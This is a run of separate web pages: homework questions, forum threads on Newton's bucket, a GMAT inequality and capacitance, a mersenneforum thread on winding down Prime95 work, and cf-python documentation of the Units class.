2016 by Chi math If my teacher grades a test of 54 questions and I get 18 wrong what will be my grade? Monday, May 9, 2016 by adeline If y is less than twice x , and x is 15. What is y Thursday, May 5, 2016 by Kezia math Grade 5 will plant 1/3 of the whole school garden. So far, they have planted ¼ of the whole school garden. What fraction of the school garden still needs to be planted by grade 5? Tuesday, May 3, 2016 by Drequan 1=300(0.8)^t Monday, April 18, 2016 by Yineya Math There are 55 student in eight grade middle school that play different sports. 27 of them play soccer, 15 of them play basketball. 11 of them play soccer or basketball. What is the probability given that the they are in eight grade and play sports that they play both soccer and... Thursday, March 31, 2016 by Korbin Math Do you have any 3rd grade math practice worksheets that I can use with my students? One of my students has a predicament of not doing his homework. Please implement your time and implementing a few practice worksheets for my students. Sincerely, Mrs. Raja 3rd grade teacher Tuesday, March 29, 2016 by Mrs. Raja Science What if a student gets a 65 on 1 test and 100% on 4 tests? What will there grade be? Wednesday, March 23, 2016 by Anonymous Programming C++ using Data Structure. In an academic institution, Student has its records. Each student has his/her profile such as id number, student name. The institution also keeps records of student grades in each subject. Student grades contains information subject description, school year, semester, and ... Thursday, March 17, 2016 by Vonn math a student’s grade in a class is simply the mean of five 100-point exams a. If the student has grades of 77, 73, 97, and 89 on the first four exams, what is the students’ grade before taking the last exam? b. What is the lowest score that the student can earn on the last ... Monday, March 14, 2016 by Debbie 7+5=8+ What number makes this equation true Friday, March 11, 2016 by Milan 11th chemistry The chlorination of ethane gives a compound with the percent composition by mass of chlorine in the compound is 71.7% A) find the molecular formula of this compound B) write the condensed structural formulas of the isomers of this compound and give their names C) one of the ... Monday, March 7, 2016 by angy Calculate and compensate 823-273 Sunday, March 6, 2016 by Kgahli Geometry In the diagram to the left, ÚABC\angle ABCÚABCangle, A, B, C and ÚDCB\angle DCBÚDCBangle, D, C, B are right angles. Which of the following is closest to the length of DE‾\overline{DE} DE start overline, D, E, end overline? I am ... Tuesday, March 1, 2016 by Tyteana Correct punctuation of , That is in my opinion depressing. Friday, February 26, 2016 by Debbie Statistics The mean grade in this class last semester was 78.3, and the variance was 49 . The distribution of grades was unimodal and symmetrical. Using this information determine the probability that “Joe”, a random student you know nothing about, other than the fact that they are ... Thursday, February 25, 2016 by Francisco How do you write (1/2) to the 5th power? (Not answered) Monday, February 22, 2016 by PJ Schrammel Algebra A math class has 7 girls and 5 boys in the seventh grade and 4 girls and 4 boys in the eighth grade. The teacher randomly selects a seventh grader and an eighth grader from the class for a competition. What is the probability that the students she selects are both boys? Write ... Monday, February 22, 2016 by Anesha Math A science class has 3 girls and 3 boys in the seventh grade and 4 girls and 1 boy in the eighth grade. The teacher randomly selects a seventh grader and an eighth grader from the class for a competition. What is the probability that the students she selects are both boys? Sunday, February 14, 2016 by Brooke MS.SUE! this weekend can you help me with the second part of my grade recovery Thursday, February 11, 2016 by ashleydawolfy News for Ms. Sue 1. A student raises her grade average from a 75 to a 90. What was the percent of increase in the student’s grade average? Round your answer to the nearest tenth of a percent, if necessary. A: 20% B: 16.7% C: 8.3% D: 15% Hi Ms. Sue, it was 20%. Thank you for your help, though... Tuesday, February 2, 2016 by Lizzie math if the lecture grade is the mastering points worth 20% and exams worth 80%. what is the lecture grade? mastering points: 1513 exam grades: 92,83,76,95,95 thank you! Sunday, January 24, 2016 by lauren Is 1 pirme or composte Monday, January 18, 2016 by E which course can I take after my grade 12? Wednesday, January 13, 2016 by MODISE BOITUMELO Modernist Poetry I want to write a modernist poem about struggles, future, stress. How everything I do in grade 12 will affect my future. The amount of pressure that is put onto me by my parents to get into university. I need a lot of help. I've always struggled with poems. I really need help... Tuesday, January 12, 2016 by Poemhelp-Please Can you help me solve: 5sin2x + 3sinx - 1 = 0 Thanks Sunday, January 10, 2016 by Carol algebra A student's grade in a course is the average of 4 test grades and a final exam that is worth three times as much as each test. Suppose a student has test grades of 90, 88, 81, and 94. Write an equation to model this situation where x is the student's grade on the final exam ... Friday, January 8, 2016 by kayla Melissa needs to subtract 10 5/8 from 12 6/8, what is her answer? Tuesday, January 5, 2016 by Anonymous Solve the equation. 1. 4-5 __ = 1 I cannot figure this out. 3 Monday, December 21, 2015 by Help needed The fifth-grade class at John Adams Middle School earned $428.81 at their school carnival. The money is being divided between 23 students to help pay for their class trip. How much money will each student receive? Round to the nearest hundredth. is it$18.60 ? Wednesday, December 16, 2015 by patricia electrical wire: $1.49 for 3 ft$.69 for 18 in which is a better buy? Tuesday, December 15, 2015 by Emmy Math I'm in sixth grade and I need help on 3(12w+8)+17+9w Tuesday, December 8, 2015 by bob Math Fifteen Grade 2 children rode bicycle to school. Seventeen Grade 3 children rode bicycle to school. How many children in Grades 2and3 rode bicycles to school? Thursday, December 3, 2015 by Alex Medical Billing and coding Can I retake a Quizz to help raise my grade? Thursday, November 26, 2015 by Melodee Ravi resigned----------illness Monday, November 16, 2015 by Anonymous 5.85gof Naclis Dissolvedin250mlofsolution.Calculatethemass%ofsolute? Sunday, November 8, 2015 by Minibel Math Am stuck A fifth grade class of 32 students is going on a field trip. They want to rent vans to drive to the field trip. Each van seats a maximum of 7 students. What is the least number of vans the fifth grade class must rent so that each student has a seat? If I times it that... Thursday, November 5, 2015 by iyana The sum is 1.7 and the product is 6.3. What are the numbers? Tuesday, November 3, 2015 by Kevin 32/4=b+4/3 Monday, November 2, 2015 by Cole Grammar 2.Brianna eats chocoloate whenever she gets poor grade in math. whenever she gets a poor grade in math is underlined. I believe this is a dependent clause. 3. After the house flooded, the family moved into a temporary shelter. After the house is flooded is underlined. I ... Thursday, October 15, 2015 by Patrick Where is the hundred thousandths place in 46.15398? Thursday, October 15, 2015 by Grace (The Puzzled Penguin) statistics The number of hours per week that the television is turned on is determined for each family in a sample. The mean of the data is 30 hours and the median is 26.2 hours. Twenty-four of the families in the sample turned on the television for 15 hours or less for the week. The ... Saturday, October 3, 2015 by Anonymous 1. Pages: 2. <<Prev 3. 2 4. 3 5. 4 6. 5 7. 6 8. 7 9. 8 10. 9 11. 10 12. 11 13. 12 14. 13 15. 14 16. 15 17. 16 18. Next>> Post a New Question	{}
# Newton's Bucket 1. Mar 21, 2008 Hi. First post here. I have no formal math or physics training, but read popular books on physics and am pretty well read as far as that goes. Now for the question. I'm fascinated by the Newton's Bucket problem and fortunately for me it's cleared my head of the 2 brothers paradox (one on earth, one in ship, ship ages) with regard to which one is considered moving and which is stationary. For a description of Newton's Bucket, here's a good one: http://www-groups.dcs.st-and.ac.uk/~history/HistTopics/Newton_bucket.html I've never liked the traditional idea that the brother that is considered moving (and therefore aging) is the one that is accelerating away because once acceleration stops and the ship continues at near light speed, the aging process continues yet the ship is only moving relative to the Earth and not accelerating away from it. Newton's Bucket solves that problem by inferring that the ship is moving near light speed relative to either the stars or some universal fabric that is static or almost static relative to the stars. Newton's bucket implies that if the universe were empty (I suppose this would include dark matter and energy) except for the bucket and a single observer, the bucket would seemingly have to behave strangely. For example, if the observer were spinning around the bucket (and the bucket around the observer) but both in the same direction as far as the two axis of rotation are concerned, the bucket could not be said to be spinning and therefore would not exhibit inertial forces or the resultant concave water. If the observer and bucket were spinning opposite to each other, then what? Would the water then become concave relative to the velocity of the observer? Or is a greater mass (or something else altogether) required such as massive galaxies? And if either or both are causing the water to become concave, then what exactly is causing it. I realize the simple answer is inertia, but this paradox implies that inertia would cease to exist in an empty universe and with the observer and bucket moving in the same direction or possibly in different directions as well. Inertia would have to cease to exist in an empty universe that contained only a bucket of water and a single observer moving in the same direction around it as there would be absolutely no frame of reference with regard to acceleration. With no inertia, one could not feel any effects of acceleration so if the bucket exploded, or the observer sneezed, which would move relative to the other, and which one would age when applied to the two brother paradox. Glad to have found this forum. 2. Mar 21, 2008 ### yuiop ".....in simple terms, in a universe with no matter there is no gravity. Hence general relativity reduces to special relativity and now all observers agree when the rock system is spinning (i.e. accelerating). " In other words relativity says rotation is detectable even with one object in an empty universe. Of course this is hard to prove with an experiment, as we do not have a spare empty universe to try it out in :P Tha article also tries to lend some support to Mach's views (that all inertia is relative to the fixed stars): "In 1985 further progress by H Pfister and K Braun showed that sufficient centrifugal forces would be induced at the centre of the hollow massive sphere to cause water to form a concave surface in a bucket which is not rotating with respect to the distant stars. Here at last was a form of the symmetry that Mach was seeking. " A counter argument is this: Rotate a bucket clockwise (when looking from above) so that the water contained within it has a concave surface. Define the bucket as stationary and atribute the concave surface of the water to the gravitational influence of the all the universes stars orbiting anti-clockwise around said bucket. Now place another rotating bucket alongside the first bucket while the water within it is still spinning. If the first bucket is exactly at the axis of the spinning universe, then the second bucket is not and yet the lowest point of the water in the second bucket is exactly at the centre of its spinning surface. Mach's principle seems to fall apart as soon as we introduce a second bucket. Last edited: Mar 21, 2008 3. Mar 21, 2008 ### Garth Mach's Principle might not rely on just gravitational influences, as it would in GR. In the Brans Dicke theory an extra scalar field coupled to matter endows fundamental particles with inertial mass. Thus introducing the second bucket proves that Mach's Principle is incompatible with GR but it may not be incompatible with an alternative gravitational theory. Garth Last edited: Mar 21, 2008 4. Mar 21, 2008 ### Antenna Guy "Newton's Bucket" only works in the presence of gravity as kev pointed out. That said - the pressure in the water increases linearly from 0 to $\rho gh$ no matter where you check from top to bottom. When the bucket/water is spinning uniformly, a new force is added to keep the water from travelling along a linear path. This new force creates another linear pressure gradient that starts from the center of the bucket and increases as you move away from the axis of rotation. The product of the two orthogonal linear pressure gradients leads to a parabolic pressure profile at any fixed height. The water surface assumes a parabolic shape to support both linear pressure gradients simultaneously. Regards, Bill 5. Mar 21, 2008 But the article just a little before that quote also states that Einstein said that Mach's view was in complete agreement with GR so this conclusion in the article confused me. I'm also confused about how observers could agree that the bucket is spinning. Because the water would go concave? Again, why would it go concave in an empty universe? Yes, I was trying not to bring this up too soon, but logically, I'm in agreement with this. If the first bucket were indeed at the very axis of the spinning universe and by definition not spinning, then the concaveness of the water would be due to a force (gravity or otherwise) from the stars pulling equally at all sides of the water causing it to rise up the sides of the bucket. (One could no longer state inertia being the cause as the bucket is "not spinning") A second bucket placed off center would also feel this same "pull" and it's water would also rise, but one side would rise higher then the other, having a stronger "pull" on that side. Because of the scales the offset would be infintesimally small, perhaps a plank length. In a universe with non-rotating stars (the real universe) one cannot say that two spinning buckets side by side have their dips in the absolute center of the bucket or that the two buckets have their dips in the same location.[/QUOTE] 6. Mar 21, 2008 My gut tells me that gravity can't play much of a part in Mach's Principle as the stars are simply too far away. Doesn't gravity eventually diminish to a single planck value at which point gravity can be said to not exist at all? Of course there is still the sun and a spinning bucket in our universe may be under it's sole influence. Is there anyway to determine this or is there any theory indicating this? Also, I am a bit confused by the terms tensor vs scaler. Wikipedia didn't help me much here, can you explain this in simple (non-math) terms? 7. Mar 21, 2008 It does seem that gravity is the most suspect reason for Mach's principle, but how about a situation of an empty universe with one bucket of water and one observer. If the observer were to grab the bucket and spin it then one of three things would happen. 1) The water would go noticably concave (and simultaneously the observer would also feel a centrifugal force on it's own body) due to both spinning relative to a (non local) absolute space, 2) the water would stay flat even though it was spinning relative to the observer because there is no absolute space. or 3) there would be an infintesimally small inertial force on both the bucket of water (causing it to go ever so slightly concave) and the observer due to both spinning relative to each other and because the delta between the masses of the two objects define an absolute space that is moving more slowly relative to the more massive object then it is to the less massive object. 8. Mar 21, 2008 ### Mentz114 What would keep the water in the bucket ? The water would form into a sphere and freeze. It's been pointed out to you that the parabolic surface is due to a combination of lateral and vertical forces, so talking about the surface of the water in your scenario isn't realistic. I would expect any spinning object to experience stresses because of the spin, and this would happen in any sort of universe, regardless of gravity. 9. Mar 21, 2008 I was using the bucket in the spirit of a thought experiment for it's ease of visualization. It is a totally impractical object to use in a real experiment, but the point of my original post is that you can use any practical object here with the same effect. For example two spheres tied together with a string and spun around the axis of the center of the string, or an elastic sphere which would bulge at the center and so on. The actual object is not important here, only the fact that there is centrifugal forces acting on that object. Not so if Mach's Principle were true. In an empty universe there would be no stresses on a spinning object because there would be way to know what that object was spinning in reference to, or in other words, whether it was spinning at all. This does have the deeper implication that in an empty universe what we know of as inertia would cease to exist altogether. For example, if you were in a spaceship in an empty universe and flipped the switch to start the rocket engine, it would fire (maybe), but there would be no sensation of forward thrust, the accelerometer onboard would not show any change, you would not feel any G force, and in essense Newton's 3 laws of motion would break down. Please realize though that I am also trying to figure out here what is an "empty universe". Is it simply a universe void of matter? Of dark matter and dark energy? Of virtual particles? Also, I'm not completely convinced that it's matter that is the real reference point for a spinning object and it's associated stresses (acceleration). It could also be that even an empty universe has some kind of inherent frame of reference that defines that it is static and not moving regardless of whether or not it contains matter, dark matter, and/or dark energy. If this is the case, then I would think a spinning object would still show rotational forces acting on it even in a massless universe. But if this is the case, then it would turn the physics world upside down I would think. 10. Mar 21, 2008 ### Mentz114 OK, from your earlier remarks I can see we are on the same playing field now. I will try and refute the bit I've quoted above. Firstly, rotation can only be defined for an extended object. A point cannot rotate. So the parts of the extended object have proper spatial relationships with each other and provide a frame in which to define rotation independently of any external reference. I can choose the centre of the rotation as the origin of a frame, and then define a tangential velocity of a piece away from the centre. The same argument might well do for the acceleration case, but you should bear in mind that your one single object in the universe can only accelerate by ejecting some matter, in which case we have more than one object and the argument short circuits. Re-reading this, I'm not 100% convinced by my logic, it would be interesting to hear other views. Last edited: Mar 21, 2008 11. Mar 21, 2008 ### Antenna Guy "Centrifugal force" is an artificial construct used to balance the centripetal force (i.e. that exerted by the bucket wall) acting on an object that would otherwise travel in a straight line. The closest approximation to a "centrifugal force" would be the tendency of like charges to repel one another - which isn't the sort of thing that keeps a mass rotating at constant radius. Regards, Bill 12. Mar 21, 2008 ### yuiop Hi, I am aware that Einstein himself concluded that Mach's principle is incompatible with GR as demonstrated by this quote: "This certainly was a clever idea on Einstein's part, but by June 1918 it had become clear that the De Sitter world does not contain any hidden masses and is thus a genuine counterexample to Mach's principle. Another one of Einstein's attempts to relativize all motion had failed. Einstein thereupon lost his enthusiasm for Mach's principle. He accepted that motion with respect to the metric field cannot always be translated into motion with respect to other matter." However, after further reflection Mach's principle is not dismissed by the simple counter example I gave. In that example the second bucket would appear to be rotating along with the distant stars from the point of view of an observer stationary with respect to the water in the first bucket. The second bucket would not therefore be submitted to the "spiralling spacetime" that the water in the first bucket is subjected to, because the second bucket is comoving with the spiralling spacetime/ gravitational field. A clearer (and fairer) example would be to place the first bucket at the centre of a large rotating turntable. An observer on the turntable could place a second bucket near the rim of the turntable and observe that the water in the second bucket is at rest with with respect to the water of the first bucket and that the water in the second bucket is piled up asymmetrically on the side furthest from the centre of the turntable. If the water in the second bucket is spinning then the centre of the concave depression would indeed be offset from the centre of the bucket. In this fairer second example, Mach's principle does not fail. Can anyone think of a simple example (that is easy to visualise), where Mach's principle fails? 13. Mar 21, 2008 ### Antenna Guy Consider that a fixed volume following a curved path will have different velocities at different points on/within that fixed volume. If the differential velocities become too great, the object flies apart. The spherical blob of water you mentioned only remains so because of surface tension. If that blob of water were to rotate about some axis, there would have to be more surface area in a plane perpendicular to the axis of rotation to keep the forces in equilibrium - leading to an ellipsoidal shape. Oddly, a spherical blob of water travelling at a significant fraction of the speed of light would also look like an ellipsoid to a stationary observer - but for a different reason. Regards, Bill 14. Mar 21, 2008 ### Mentz114 It fails on Occams razor, surely. There's nothing to explain. All rotating phenomena are accounted for by present dynamics without need for a cosmic frame. Or am I missing something deep here ? 15. Mar 21, 2008 ### yuiop General Relativity can explain any motion including accelerated motion in a straight line in terms of no motion and and complicated gravitational spacetime. For example, if you turn on your rocket motor and accelerate from a standstill to 0.8c, it can be explained in terms of a gravitational field that springs up the instant you turned your rocket motor on and draws the universe towards a black hole behind you while your rocket motor resists the gravitational "pull". When you drive to work, accelerating and breaking at junctions and experiencing "centrifugal force" as you go round corners, the whole journey can be explained in terms of gravitational fields and complicated accelerations of everything in the universe while you have remained stationary throughout the entire journey. Now this point of view is necessary or we have to accept a notion of absolute motion which is incompatible with Relativity. Occam's razor and even considerations of conservation of energy are not strong enough arguments to support a notion of absolute motion or acceleration. 16. Mar 21, 2008 Let's take two bricks tied together by a rope and define that the bricks are not spinning (one face of each brick always faces the other). If there is tension on the rope, then one can say the bricks are revolving about each other. But in an empty universe, this would mean the system would be revolving relative to absolute space. If there is no absolute space, then there could be no tension on the rope since the objects are not rotating relative to anything (not even to each other if their faces are stationary) The rocket is a matter/anti-matter engine and all exhaust is converted into energy. 17. Mar 21, 2008 ### Mentz114 Kev: Well, I don't see at all how that follows from your argument. I can accept absolute rotation, because of the extended object argument, and I think acceleration can always be detected so it's got nothing to do with absolute motion. 18. Mar 21, 2008 ### Mentz114 But the universe is not empty, it has a rope and two bricks in it ! It's like saying 'take a full, empty glass of water ...'. If I define a frame centred on one brick, the other is rotating around it. If a system is revolving, it must have spatial extension, and so you can define the motion of one part relative to the other parts. No absolute space required. Last edited: Mar 21, 2008 19. Mar 21, 2008 The only way you would know that one was rotating around the other would be if the rope were taught. If the rope were limp, then you could conclude one brick was not rotating around the other, but this simply takes the argument back to the beginning of the Newton's bucket problem in the first place. The problem is not determining if there is revolution by looking at the rope. This is a given. The problem is why is the rope taught or limp in the first place when there is no way to determine (in an empty universe) if the objects are revolving around each other. In a universe with no absolute space (or space-time) there is no frame of reference to determine whether a rope should be limp or taught. In other words, if the rope is taught in an empty universe, then this is irrefutable evidence that there is a static frame of reference that is not rotating relative to the rotating objects. This static frame of reference can be absolute space (Newton's absolute space or Minkowski's absolute space-time) or it could be the total relative position of the stars (Mach's principle) that is the cause of the taught rope. But it has to be one or the other from what I can see. If neither was the cause the rope could never become taught. I just had a thought: If indeed the culprit were absolute space and not Mach's principle, could the stars be revolving slowly with respect to this absolute space and therfore have an outward inertial force on them causing the universe to accelerate apart? In other words could this explain the accelerating expanding universe without resorting to dark energy (or Einsteins cosmological constant) to explain this expansion? 20. Mar 22, 2008 ### yuiop The difficulty with using rotation in explaining the expansion of universe is that the expansion would only occur around the "equator" of the universe and not at the "poles" alligned with the rotation. I don't think it is possible to rotate a sphere about 3 axes simultaneously so that "centrifugal force" appears to act equally in all directions.	{}
Find all School-related info fast with the new School-Specific MBA Forum It is currently 27 Oct 2016, 08:30 ### GMAT Club Daily Prep #### Thank you for using the timer - this advanced tool can estimate your performance and suggest more practice questions. We have subscribed you to Daily Prep Questions via email. Customized for You we will pick new questions that match your level based on your Timer History Track Your Progress every week, we’ll send you an estimated GMAT score based on your performance Practice Pays we will pick new questions that match your level based on your Timer History # Events & Promotions ###### Events & Promotions in June Open Detailed Calendar # Is x between 0 and 1? new topic post reply Question banks Downloads My Bookmarks Reviews Important topics Author Message TAGS: ### Hide Tags Director Joined: 07 Jun 2004 Posts: 612 Location: PA Followers: 5 Kudos [?]: 658 [0], given: 22 Is x between 0 and 1? [#permalink] ### Show Tags 12 Feb 2012, 15:07 00:00 Difficulty: 55% (hard) Question Stats: 48% (01:30) correct 52% (01:27) wrong based on 23 sessions ### HideShow timer Statistics Is x between 0 and 1 (1) x^2 > x^3 (2) -x > x^3 [Reveal] Spoiler: I solved this as below x^3 - x^2 < 0 or x^2( x - 1 ) < 0 roots will be x = 0 and x = 1 or 0 < x < 1 why is this wrong ? [Reveal] Spoiler: OA _________________ If the Q jogged your mind do Kudos me : ) Magoosh GMAT Instructor Joined: 28 Dec 2011 Posts: 3533 Followers: 1198 Kudos [?]: 5344 [2] , given: 58 Re: Is x between 0 and 1 [#permalink] ### Show Tags 12 Feb 2012, 15:46 2 This post received KUDOS Expert's post Hi, there. I'm happy to help with this. Prompt: Is x between 0 and 1? Statement #1: x^2 > x^3 Consider four categories of numbers (a) positive numbers bigger than one (b) positive numbers between one and zero (c) negative numbers between 0 and -1 (d) negative numbers less than -1 (i.e. with absolute value greater than 1) This is always a good list to keep in mind, especially on DS questions on exponents. Consider the four categories: (a) x = 2 ---> 4 < 8, statement #1 is not true (b) x = 0.5 ---> 0.25 > 0.125, statement #1 is true (c) x = -0.5 ---> +0.25 > -0.125, statement #1 is true (d) x = -2 ---> +4 > -8, statement #1 is true So, statement #1 allows for several categories, not just between 0 and -1. Statement #1 is insufficient. Statement #2: -x > x^3 If x is positive, this will never be true, because -x would be negative, x^3 would be positive, and any positive is greater than any negative. If x is negative, this will always be true, because -x would be positive, x^3 would be negative, and any positive is greater than any negative. If x is negative, it's not between 0 and 1. This allows us to give a conclusive answer to the prompt. Statement #2, by itself, is sufficient. Answer = B The problem with your algebraic method -- you factored correctly, and arrived at: (x^2)(x-1) < 0 but this is a cubic inequality. While you do need to find the roots, it's not enough just to say that the solution exists between them. The roots delimit regions of the number line, and we need to test the inequality in each region. Thus, Region I = less than 0 Region II = between 0 and 1 Region III = greater than 1 Upon testing values, we find that numbers in both Region I and Region II satisfy this inequality. Thus, this inequality by itself does not guarantee that the numbers are or are not between 0 and 1. Does that make sense? Please let me know if you have questions on anything I've said here. Mike _________________ Mike McGarry Magoosh Test Prep Math Expert Joined: 02 Sep 2009 Posts: 35321 Followers: 6648 Kudos [?]: 85844 [0], given: 10254 Re: Is x between 0 and 1 [#permalink] ### Show Tags 13 Feb 2012, 06:40 rxs0005 wrote: Is x between 0 and 1 1. x^2 > x^3 2. -x > x^3 I solved this as below x^3 - x^2 < 0 or x^2( x - 1 ) < 0 roots will be x = 0 and x = 1 or 0 < x < 1 why is this wrong ? the OA is B Is x between 0 and 1 (1) x^2 > x^3 --> x^2*(x-1)<0, since x^2 here must be positive, then x-1 must be negative: x-1<0 --> x<1. Not sufficient. (2) -x>x^3 --> x(x^2+1)<0 --> since x^2+1 is positive then x must be negative: x<0, so the answer to the question is NO. Sufficient. Answer: B. Hope it's clear. _________________ Director Status: Finally Done. Admitted in Kellogg for 2015 intake Joined: 25 Jun 2011 Posts: 537 Location: United Kingdom Concentration: International Business, Strategy GMAT 1: 730 Q49 V45 GPA: 2.9 WE: Information Technology (Consulting) Followers: 71 Kudos [?]: 2713 [0], given: 217 is x between 0 & 1 [#permalink] ### Show Tags 01 Apr 2012, 12:34 Is x between 0 and 1? (1) $$x^2 > x^3$$ (2) $$-x > x^3$$ In these questions is it worth factoring out the inequality or just pick the numbers? And also what are the best numbers to pick? _________________ Best Regards, E. MGMAT 1 --> 530 MGMAT 2--> 640 MGMAT 3 ---> 610 GMAT ==> 730 Math Expert Joined: 02 Sep 2009 Posts: 35321 Followers: 6648 Kudos [?]: 85844 [0], given: 10254 Re: is x between 0 & 1 [#permalink] ### Show Tags 01 Apr 2012, 12:38 enigma123 wrote: Is x between 0 and 1? (1) $$x^2 > x^3$$ (2) $$-x > x^3$$ In these questions is it worth factoring out the inequality or just pick the numbers? And also what are the best numbers to pick? Merging similar topics. There are both number picking and algebraic approaches shown above. Please ask if anything remains unclear. _________________ Re: is x between 0 & 1 [#permalink] 01 Apr 2012, 12:38 Similar topics Replies Last post Similar Topics: Is x between 0 and 1? 2 14 Feb 2016, 04:12 12 Is x between 0 and 1? 10 06 Feb 2014, 01:16 9 Is x between 0 and 1? 15 06 Mar 2012, 16:03 1 Is x between 0 and 1 1 07 Feb 2012, 11:25 4 Is x between 0 and 1? 9 23 Sep 2007, 11:38 Display posts from previous: Sort by # Is x between 0 and 1? new topic post reply Question banks Downloads My Bookmarks Reviews Important topics Powered by phpBB © phpBB Group and phpBB SEO Kindly note that the GMAT® test is a registered trademark of the Graduate Management Admission Council®, and this site has neither been reviewed nor endorsed by GMAC®.	{}
# Finding the cafpacitance, I thought it was in series 1. Oct 9, 2005 ### mr_coffee Hello everyone...I'm runnning int problems on this problem: he two metal objects in Fig. 25-26 have net charges of +62 pC and -62 pC, which result in a 14 V potential difference between them. image is here: http://www.webassign.net/hrw/hrw7_25-26.gif (a) What is the capacitance of the system? 4.429 pF (b) If the charges are changed to +226 pC and -226 pC, what does the capacitance become? wrong check mark pF (c) What does the potential difference become? V If the charges are the same, i thought that ment it would be in series, which is Q = CVtotal So i put in: C = 226pC/14V = 16.14 pF I also tried 0, both wrong. ANy ideas? Thanks 2. Oct 9, 2005 ### Physics Monkey This isn't a question about series capacitors. The two metal objects form a single capacitor. Is the capacitance of a parallel plate capacitor dependent on the charge on the plates? Is the capacitance of a general capacitor dependent on the charge? 3. Oct 9, 2005 ### mr_coffee The capcitance of a parallel plate capacitor is dependent on the charge on the plates because the formula is. Q total = V(Ceq). Now is the capacitence of a general capacitor depedent on the charge? I"m assuming yes, the genral formula is Q = CV... 4. Oct 9, 2005 ### Physics Monkey The capacitance of a parallel plate capacitor is $$C = \epsilon_0 A /d$$ with no mention of charge. The capacitance of a system is dependent only on the geometry which is partly why it's a useful concept. In the equation $$Q = CV$$, any change in Q is accompanied by a change in V so that C is always the same (so long as the geometry is the same). There lies the answer to your question. Once you know the capacitance of your system, it's always the same unless you change the geometry. 5. Oct 9, 2005 ### mr_coffee ohhh i c what your saying, thank you very much, i got the problem now! :) Know someone interested in this topic? Share this thread via Reddit, Google+, Twitter, or Facebook	{}
mersenneforum.org weaning a quad machine off of Prime95 Register FAQ Search Today's Posts Mark Forums Read 2010-02-11, 02:25 #1 RickC Mar 2003 558 Posts weaning a quad machine off of Prime95 I've never seen an option in Prime95 for "Finish current assignments and report the results to PrimeNet but don't request new work". Let's say someone has a quad core machine that they run in the winter but then in the summer it generates too much heat and they need to shut it down. Has anyone come up with a graceful way to let a machine finish it's 4 assignments that all end on different dates and not request any new work? Thanks 2010-02-11, 03:13 #2 ixfd64 Bemusing Prompter "Danny" Dec 2002 California 236510 Posts I think you can do this by going to Advanced > Quit GIMPS... and selecting the "Quit after current work" option. 2010-02-11, 03:13 #3 axn Jun 2003 23×607 Posts Does this thread not work for you? 2010-02-11, 04:15 #4 "Richard B. Woods" Aug 2002 Wisconsin USA 170148 Posts Quote: Originally Posted by axn Does this thread not work for you? "Unregister" may not immediately seem relevant to "weaning" -- though it is, in this case! 2010-02-11, 05:06 #5 RickC Mar 2003 2D16 Posts I never tried the "Quit GIMPS..." option. It sounds so permanent like you are getting rid of your entire account but now that I hold my mouse over it the status bar says "Remove this computer..." I'll give it a try in June. 2010-02-11, 06:53 #6 Batalov "Serge" Mar 2008 Phi(4,2^7658614+1)/2 24·11·53 Posts you can do a bit better than just quit. edit prime.txt and add (in the first section, before any [...]) Code: DaysOfWork=0 Last fiddled with by Batalov on 2010-02-11 at 07:05 Reason: it will. I use(d) it for Five-or-Bust + another thread with old obligations 2010-02-11, 06:58 #7 mdettweiler A Sunny Moo Aug 2007 USA (GMT-5) 3×2,083 Posts Quote: Originally Posted by Batalov you can do a bit better than just quit. edit prime.txt and add Code: DaysOfWork=0 But won't that make it keep getting new work after the current stuff is done, albeit just one assignment at a time per core (which is all it would do anyway for LL tests normally; a difference would mainly show up with TF or other such smaller things)? 2010-02-11, 07:40 #8 rajula "Tapio Rajala" Feb 2010 Finland 13B16 Posts Doesn't it work anymore if you just add to prime.txt the following line? Code: NoMoreWork=1 2010-02-11, 08:00 #9 mdettweiler A Sunny Moo Aug 2007 USA (GMT-5) 3·2,083 Posts Quote: Originally Posted by rajula Doesn't it work anymore if you just add to prime.txt the following line? Code: NoMoreWork=1 I think that's essentially what the Quit GIMPS/"Quit after current work" option does. 2010-02-11, 17:56 #10 henryzz Just call me Henry "David" Sep 2007 Cambridge (GMT/BST) 2·2,909 Posts Quote: Originally Posted by mdettweiler But won't that make it keep getting new work after the current stuff is done, albeit just one assignment at a time per core (which is all it would do anyway for LL tests normally; a difference would mainly show up with TF or other such smaller things)? Are you sure? I am pretty certain that is what i usually use to keep it idle. 2010-02-11, 19:05 #11 mdettweiler A Sunny Moo Aug 2007 USA (GMT-5) 3·2,083 Posts Quote: Originally Posted by henryzz Are you sure? I am pretty certain that is what i usually use to keep it idle. Hmm, well, if it worked for you then I'm probably wrong. I don't use Prime95 much and have never actually used that particular options so I'm not speaking from experience. Similar Threads Thread Thread Starter Forum Replies Last Post Max Dread Software 9 2015-02-27 06:07 CRGreathouse Hardware 51 2009-03-04 01:32 SlashDude Hardware 30 2009-01-30 22:22 ppo Information & Answers 25 2007-07-30 23:25 kwstone Software 4 2003-08-10 22:46 All times are UTC. The time now is 18:10. Tue Mar 2 18:10:46 UTC 2021 up 89 days, 14:22, 1 user, load averages: 2.21, 2.70, 2.98	{}
# cf.Units¶ class cf.Units(units=None, calendar=None, formatted=False, names=False, definition=False, _ut_unit=None)[source] Bases: object Store, combine and compare physical units and convert numeric values to different units. Units are as defined in UNIDATA’s Udunits-2 package, with a few exceptions for greater consistency with the CF conventions namely support for CF calendars and new units definitions. Modifications to the standard Udunits database Whilst a standard Udunits-2 database may be used, greater consistency with CF is achieved by using a modified database. The following units are either new to, modified from, or removed from the standard Udunits-2 database (version 2.1.24): Unit name Symbol Definition Status practical_salinity_unit psu 1e-3 New unit level 1 New unit sigma_level 1 New unit layer 1 New unit decibel dB 1 New unit bel 10 dB New unit sverdrup Sv 1e6 m3 s-1 Added symbol sievert J kg-1 Removed symbol Plural forms of the new units’ names are allowed, such as practical_salinity_units. The modified database is in the udunits subdirectory of the etc directory found in the same location as this module. Accessing units Units may be set, retrieved and deleted via the units attribute. Its value is a string that can be recognized by UNIDATA’s Udunits-2 package, with the few exceptions given in the CF conventions. >>> u = Units('m s-1') >>> u <Cf Units: 'm s-1'> >>> u.units = 'days since 2004-3-1' >>> u <CF Units: days since 2004-3-1> Equality and equivalence of units There are methods for assessing whether two units are equivalent or equal. Two units are equivalent if numeric values in one unit are convertible to numeric values in the other unit (such as kilometres and metres). Two units are equal if they are equivalent and their conversion is a scale factor of 1 and an offset of 0 (such as kilometres and 1000 metres). Note that equivalence and equality are based on internally stored binary representations of the units, rather than their string representations. >>> u = Units('m/s') >>> v = Units('m s-1') >>> w = Units('km.s-1') >>> x = Units('0.001 kilometer.second-1') >>> y = Units('gram') >>> u.equivalent(v), u.equals(v), u == v (True, True, True) >>> u.equivalent(w), u.equals(w) (True, False) >>> u.equivalent(x), u.equals(x) (True, True) >>> 